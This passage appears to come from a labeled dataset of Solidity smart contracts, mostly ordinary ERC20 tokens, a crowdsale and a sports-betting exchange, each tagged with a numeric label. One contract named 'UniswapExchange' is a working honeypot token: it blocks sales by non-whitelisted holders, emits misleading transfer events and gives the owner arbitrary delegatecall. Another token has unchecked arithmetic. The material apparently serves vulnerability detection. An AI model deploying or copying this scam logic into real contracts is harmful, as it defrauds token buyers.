if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "AdvancedHiveProtocal";
string public constant TOKEN_SYMBOL = "AHP";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x17B578b9315C377aCdA93317e3C380BB0C620E6c;
uint public constant START_TIME = 1560290400;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 0 | 823 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 3,480 |
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 9;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract PoliticoinToken is owned, TokenERC20 {
uint256 public sellPrice = 63770;
uint256 public buyPrice = 63800;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function PoliticoinToken( ) TokenERC20(31000000000, 'Politicoin', 'PBLC') public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function () payable public {
buy();
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
}
| 1 | 3,924 |
pragma solidity ^0.4.18;
contract SportCrypt {
address private owner;
mapping(address => bool) private admins;
function SportCrypt() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function addAdmin(address addr) external onlyOwner {
admins[addr] = true;
}
function removeAdmin(address addr) external onlyOwner {
admins[addr] = false;
}
event LogBalanceChange(address indexed account, uint oldAmount, uint newAmount);
event LogDeposit(address indexed account);
event LogWithdraw(address indexed account);
event LogTrade(address indexed takerAccount, address indexed makerAccount, uint indexed matchId, uint orderHash, uint8 orderDirection, uint8 price, uint longAmount, int newLongPosition, uint shortAmount, int newShortPosition);
event LogTradeError(address indexed takerAccount, address indexed makerAccount, uint indexed matchId, uint orderHash, uint16 status);
event LogOrderCancel(address indexed account, uint indexed matchId, uint orderHash);
event LogFinalizeMatch(uint indexed matchId, uint8 finalPrice);
event LogClaim(address indexed account, uint indexed matchId, uint amount);
struct Match {
mapping(address => int) positions;
uint64 firstTradeTimestamp;
bool finalized;
uint8 finalPrice;
}
mapping(address => uint) private balances;
mapping(uint => Match) private matches;
mapping(uint => uint) private filledAmounts;
uint constant MAX_SANE_AMOUNT = 2**128;
enum Status {
OK,
MATCH_FINALIZED,
ORDER_EXPIRED,
ORDER_MALFORMED,
ORDER_BAD_SIG,
AMOUNT_MALFORMED,
SELF_TRADE,
ZERO_VALUE_TRADE
}
struct Order {
uint orderHash;
uint matchId;
uint amount;
uint expiry;
address addr;
uint8 price;
uint8 direction;
}
function parseOrder(uint[3] memory rawOrder) private constant returns(Order memory o) {
o.orderHash = uint(keccak256(this, rawOrder));
o.matchId = rawOrder[0];
o.amount = rawOrder[1];
uint packed = rawOrder[2];
o.expiry = packed >> (8*27);
o.addr = address(packed & 0x00ffffffffffffffffffffffffffffffffffffffff);
o.price = uint8((packed >> (8*21)) & 0xff);
o.direction = uint8((packed >> (8*20)) & 0xff);
}
function validateOrderParams(Order memory o) private pure returns(bool) {
if (o.amount > MAX_SANE_AMOUNT) return false;
if (o.price == 0 || o.price > 99) return false;
if (o.direction > 1) return false;
return true;
}
function validateOrderSig(Order memory o, bytes32 r, bytes32 s, uint8 v) private pure returns(bool) {
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", o.orderHash), v, r, s) != o.addr) return false;
return true;
}
struct Trade {
Status status;
address longAddr;
address shortAddr;
int newLongPosition;
int newShortPosition;
int longBalanceDelta;
int shortBalanceDelta;
uint shortAmount;
uint longAmount;
}
function() external payable {
revert();
}
function deposit() external payable {
if (msg.value > 0) {
uint origAmount = balances[msg.sender];
uint newAmount = safeAdd(origAmount, msg.value);
balances[msg.sender] = newAmount;
LogDeposit(msg.sender);
LogBalanceChange(msg.sender, origAmount, newAmount);
}
}
function withdraw(uint amount) external {
uint origAmount = balances[msg.sender];
uint amountToWithdraw = minu256(origAmount, amount);
if (amountToWithdraw > 0) {
uint newAmount = origAmount - amountToWithdraw;
balances[msg.sender] = newAmount;
LogWithdraw(msg.sender);
LogBalanceChange(msg.sender, origAmount, newAmount);
msg.sender.transfer(amountToWithdraw);
}
}
function cancelOrder(uint[3] order, bytes32 r, bytes32 s, uint8 v) external {
Order memory o = parseOrder(order);
require(validateOrderSig(o, r, s, v));
require(o.addr == msg.sender);
if (block.timestamp < o.expiry) {
filledAmounts[o.orderHash] = o.amount;
LogOrderCancel(msg.sender, o.matchId, o.orderHash);
}
}
function trade(uint amount, uint[3] order, bytes32 r, bytes32 s, uint8 v) external {
Order memory o = parseOrder(order);
if (!validateOrderParams(o)) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(Status.ORDER_MALFORMED));
return;
}
if (!validateOrderSig(o, r, s, v)) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(Status.ORDER_BAD_SIG));
return;
}
Trade memory t = tradeCore(amount, o);
if (t.status != Status.OK) {
LogTradeError(msg.sender, o.addr, o.matchId, o.orderHash, uint16(t.status));
return;
}
var m = matches[o.matchId];
if (m.firstTradeTimestamp == 0) {
assert(block.timestamp > 0);
m.firstTradeTimestamp = uint64(block.timestamp);
}
m.positions[t.longAddr] = t.newLongPosition;
m.positions[t.shortAddr] = t.newShortPosition;
adjustBalance(t.longAddr, t.longBalanceDelta);
adjustBalance(t.shortAddr, t.shortBalanceDelta);
filledAmounts[o.orderHash] += (o.direction == 0 ? t.shortAmount : t.longAmount);
LogTrade(msg.sender, o.addr, o.matchId, o.orderHash, o.direction, o.price, t.longAmount, t.newLongPosition, t.shortAmount, t.newShortPosition);
}
function claim(uint matchId, uint8 finalPrice, bytes32 r, bytes32 s, uint8 v) external {
var m = matches[matchId];
if (m.finalized) {
require(m.finalPrice == finalPrice);
} else {
uint messageHash = uint(keccak256(this, matchId, finalPrice));
address signer = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", messageHash), v, r, s);
require(admins[signer]);
require(finalPrice <= 100);
m.finalized = true;
m.finalPrice = finalPrice;
LogFinalizeMatch(matchId, finalPrice);
}
int delta = 0;
int senderPosition = m.positions[msg.sender];
if (senderPosition > 0) {
delta = priceDivide(senderPosition, finalPrice);
} else if (senderPosition < 0) {
delta = priceDivide(-senderPosition, 100 - finalPrice);
} else {
return;
}
assert(delta >= 0);
m.positions[msg.sender] = 0;
adjustBalance(msg.sender, delta);
LogClaim(msg.sender, matchId, uint(delta));
}
function recoverFunds(uint matchId) external {
var m = matches[matchId];
if (m.finalized || m.firstTradeTimestamp == 0) {
return;
}
uint recoveryTimestamp = uint(m.firstTradeTimestamp) + ((matchId & 0xFF) * 7 * 86400);
if (uint(block.timestamp) > recoveryTimestamp) {
uint8 finalPrice = uint8((matchId & 0xFF00) >> 8);
require(finalPrice <= 100);
m.finalized = true;
m.finalPrice = finalPrice;
LogFinalizeMatch(matchId, finalPrice);
}
}
function adjustBalance(address addr, int delta) private {
uint origAmount = balances[addr];
uint newAmount = delta >= 0 ? safeAdd(origAmount, uint(delta)) : safeSub(origAmount, uint(-delta));
balances[addr] = newAmount;
LogBalanceChange(addr, origAmount, newAmount);
}
function priceDivide(int amount, uint8 price) private pure returns(int) {
assert(amount >= 0);
return int(safeMul(uint(amount), price) / 100);
}
function computeEffectiveBalance(uint balance, int position, uint8 price, bool isLong) private pure returns(uint) {
uint effectiveBalance = balance;
if (isLong) {
if (position < 0) effectiveBalance += uint(priceDivide(-position, price));
} else {
if (position > 0) effectiveBalance += uint(priceDivide(position, 100 - price));
}
return effectiveBalance;
}
function computePriceWeightedAmounts(uint longAmount, uint shortAmount, uint price) private pure returns(uint, uint) {
uint totalLongAmount;
uint totalShortAmount;
totalLongAmount = longAmount + (safeMul(longAmount, 100 - price) / price);
totalShortAmount = shortAmount + (safeMul(shortAmount, price) / (100 - price));
if (totalLongAmount > totalShortAmount) {
return (totalShortAmount - shortAmount, shortAmount);
} else {
return (longAmount, totalLongAmount - longAmount);
}
}
function computeExposureDelta(int longBalanceDelta, int shortBalanceDelta, int oldLongPosition, int newLongPosition, int oldShortPosition, int newShortPosition) private pure returns(int) {
int positionDelta = 0;
if (newLongPosition > 0) positionDelta += newLongPosition - max256(0, oldLongPosition);
if (oldShortPosition > 0) positionDelta -= oldShortPosition - max256(0, newShortPosition);
return positionDelta + longBalanceDelta + shortBalanceDelta;
}
function tradeCore(uint amount, Order memory o) private constant returns(Trade t) {
var m = matches[o.matchId];
if (block.timestamp >= o.expiry) {
t.status = Status.ORDER_EXPIRED;
return;
}
if (m.finalized) {
t.status = Status.MATCH_FINALIZED;
return;
}
if (msg.sender == o.addr) {
t.status = Status.SELF_TRADE;
return;
}
if (amount > MAX_SANE_AMOUNT) {
t.status = Status.AMOUNT_MALFORMED;
return;
}
t.status = Status.OK;
uint longAmount;
uint shortAmount;
if (o.direction == 0) {
t.longAddr = msg.sender;
longAmount = amount;
t.shortAddr = o.addr;
shortAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
} else {
t.longAddr = o.addr;
longAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
t.shortAddr = msg.sender;
shortAmount = amount;
}
int oldLongPosition = m.positions[t.longAddr];
int oldShortPosition = m.positions[t.shortAddr];
longAmount = minu256(longAmount, computeEffectiveBalance(balances[t.longAddr], oldLongPosition, o.price, true));
shortAmount = minu256(shortAmount, computeEffectiveBalance(balances[t.shortAddr], oldShortPosition, o.price, false));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
if (longAmount == 0 || shortAmount == 0) {
t.status = Status.ZERO_VALUE_TRADE;
return;
}
int newLongPosition = oldLongPosition + (int(longAmount) + int(shortAmount));
int newShortPosition = oldShortPosition - (int(longAmount) + int(shortAmount));
t.longBalanceDelta = 0;
t.shortBalanceDelta = 0;
if (oldLongPosition < 0) t.longBalanceDelta += priceDivide(-oldLongPosition + min256(0, newLongPosition), 100 - o.price);
if (newLongPosition > 0) t.longBalanceDelta -= priceDivide(newLongPosition - max256(0, oldLongPosition), o.price);
if (oldShortPosition > 0) t.shortBalanceDelta += priceDivide(oldShortPosition - max256(0, newShortPosition), o.price);
if (newShortPosition < 0) t.shortBalanceDelta -= priceDivide(-newShortPosition + min256(0, oldShortPosition), 100 - o.price);
int exposureDelta = computeExposureDelta(t.longBalanceDelta, t.shortBalanceDelta, oldLongPosition, newLongPosition, oldShortPosition, newShortPosition);
if (exposureDelta != 0) {
if (exposureDelta == 1) {
newLongPosition--;
newShortPosition++;
} else if (exposureDelta == -1) {
t.longBalanceDelta++;
} else {
assert(false);
}
exposureDelta = computeExposureDelta(t.longBalanceDelta, t.shortBalanceDelta, oldLongPosition, newLongPosition, oldShortPosition, newShortPosition);
assert(exposureDelta == 0);
}
t.newLongPosition = newLongPosition;
t.newShortPosition = newShortPosition;
t.shortAmount = shortAmount;
t.longAmount = longAmount;
}
function getOwner() external view returns(address) {
return owner;
}
function isAdmin(address addr) external view returns(bool) {
return admins[addr];
}
function getBalance(address addr) external view returns(uint) {
return balances[addr];
}
function getMatchInfo(uint matchId) external view returns(uint64, bool, uint8) {
var m = matches[matchId];
return (m.firstTradeTimestamp, m.finalized, m.finalPrice);
}
function getPosition(uint matchId, address addr) external view returns(int) {
return matches[matchId].positions[addr];
}
function getFilledAmount(uint orderHash) external view returns(uint) {
return filledAmounts[orderHash];
}
function checkMatchBatch(address myAddr, uint[16] matchIds) external view returns(int[16] myPosition, bool[16] finalized, uint8[16] finalPrice) {
for (uint i = 0; i < 16; i++) {
if (matchIds[i] == 0) break;
var m = matches[matchIds[i]];
myPosition[i] = m.positions[myAddr];
finalized[i] = m.finalized;
finalPrice[i] = m.finalPrice;
}
}
function checkOrderBatch(uint[48] input) external view returns(uint16[16] status, uint[16] amount) {
for (uint i = 0; i < 16; i++) {
uint[3] memory rawOrder;
rawOrder[0] = input[(i*3)];
rawOrder[1] = input[(i*3) + 1];
rawOrder[2] = input[(i*3) + 2];
if (rawOrder[0] == 0) break;
Order memory o = parseOrder(rawOrder);
if (!validateOrderParams(o)) {
status[i] = uint16(Status.ORDER_MALFORMED);
amount[i] = 0;
continue;
}
var m = matches[o.matchId];
if (m.finalized) {
status[i] = uint16(Status.MATCH_FINALIZED);
amount[i] = 0;
continue;
}
uint longAmount;
uint shortAmount;
if (o.direction == 0) {
shortAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
longAmount = safeMul(shortAmount, 100);
shortAmount = minu256(shortAmount, computeEffectiveBalance(balances[o.addr], m.positions[o.addr], o.price, false));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
status[i] = uint16(Status.OK);
amount[i] = shortAmount;
} else {
longAmount = safeSub(o.amount, filledAmounts[o.orderHash]);
shortAmount = safeMul(longAmount, 100);
longAmount = minu256(longAmount, computeEffectiveBalance(balances[o.addr], m.positions[o.addr], o.price, true));
(longAmount, shortAmount) = computePriceWeightedAmounts(longAmount, shortAmount, o.price);
status[i] = uint16(Status.OK);
amount[i] = longAmount;
}
}
}
function safeMul(uint a, uint b) private pure returns(uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) private pure returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) private pure returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function minu256(uint a, uint b) private pure returns(uint) {
return a < b ? a : b;
}
function max256(int a, int b) private pure returns(int) {
return a >= b ? a : b;
}
function min256(int a, int b) private pure returns(int) {
return a < b ? a : b;
}
}
| 0 | 1,531 |
pragma solidity ^0.4.8;
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BlocklancerToken is ERC20Interface {
string public constant name = "Lancer Token";
string public constant symbol = "LNC";
uint8 public constant decimals = 18;
uint256 public constant tokenCreationCap = 1000000000* 10**18;
uint256 public constant tokenCreationMin = 150000000* 10**18;
mapping(address => mapping (address => uint256)) allowed;
uint public fundingStart;
uint public fundingEnd;
bool public funding = true;
address public master;
uint256 totalTokens;
uint256 soldAfterPowerHour;
mapping (address => uint256) balances;
mapping (address => uint) lastTransferred;
mapping (address => uint256) balancesEther;
address public migrationAgent;
uint256 public totalMigrated;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
uint totalParticipants;
function BlocklancerToken() {
master = msg.sender;
fundingStart = 1501977600;
fundingEnd = fundingStart + 31 * 1 days;
}
function getAmountofTotalParticipants() constant returns (uint){
return totalParticipants;
}
function getAmountSoldAfterPowerDay() constant external returns(uint256){
return soldAfterPowerHour;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if(funding) throw;
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
lastTransferred[msg.sender]=block.timestamp;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function totalSupply() constant returns (uint256 totalSupply) {
return totalTokens;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function EtherBalanceOf(address _owner) constant returns (uint256) {
return balancesEther[_owner];
}
function TimeLeft() external constant returns (uint256) {
if(fundingEnd>block.timestamp)
return fundingEnd-block.timestamp;
else
return 0;
}
function TimeLeftBeforeCrowdsale() external constant returns (uint256) {
if(fundingStart>block.timestamp)
return fundingStart-block.timestamp;
else
return 0;
}
function migrate(uint256 _value) external {
if(funding) throw;
if(migrationAgent == 0) throw;
if(_value == 0) throw;
if(_value > balances[msg.sender]) throw;
balances[msg.sender] -= _value;
totalTokens -= _value;
totalMigrated += _value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
Migrate(msg.sender, migrationAgent, _value);
}
function setMigrationAgent(address _agent) external {
if(funding) throw;
if(migrationAgent != 0) throw;
if(msg.sender != master) throw;
migrationAgent = _agent;
}
function getExchangeRate() constant returns(uint){
if(fundingStart + 1 * 1 days > block.timestamp){
return 15000;
}
else{
uint256 decrease=100-(soldAfterPowerHour/10000000/1000000000000000000);
if(decrease<70){
decrease=70;
}
return 10000*decrease/100;
}
}
function ICOopen() constant returns(bool){
if(!funding) return false;
else if(block.timestamp < fundingStart) return false;
else if(block.timestamp > fundingEnd) return false;
else if(tokenCreationCap <= totalTokens) return false;
else return true;
}
function() payable external {
if(!funding) throw;
if(block.timestamp < fundingStart) throw;
if(block.timestamp > fundingEnd) throw;
if(msg.value == 0) throw;
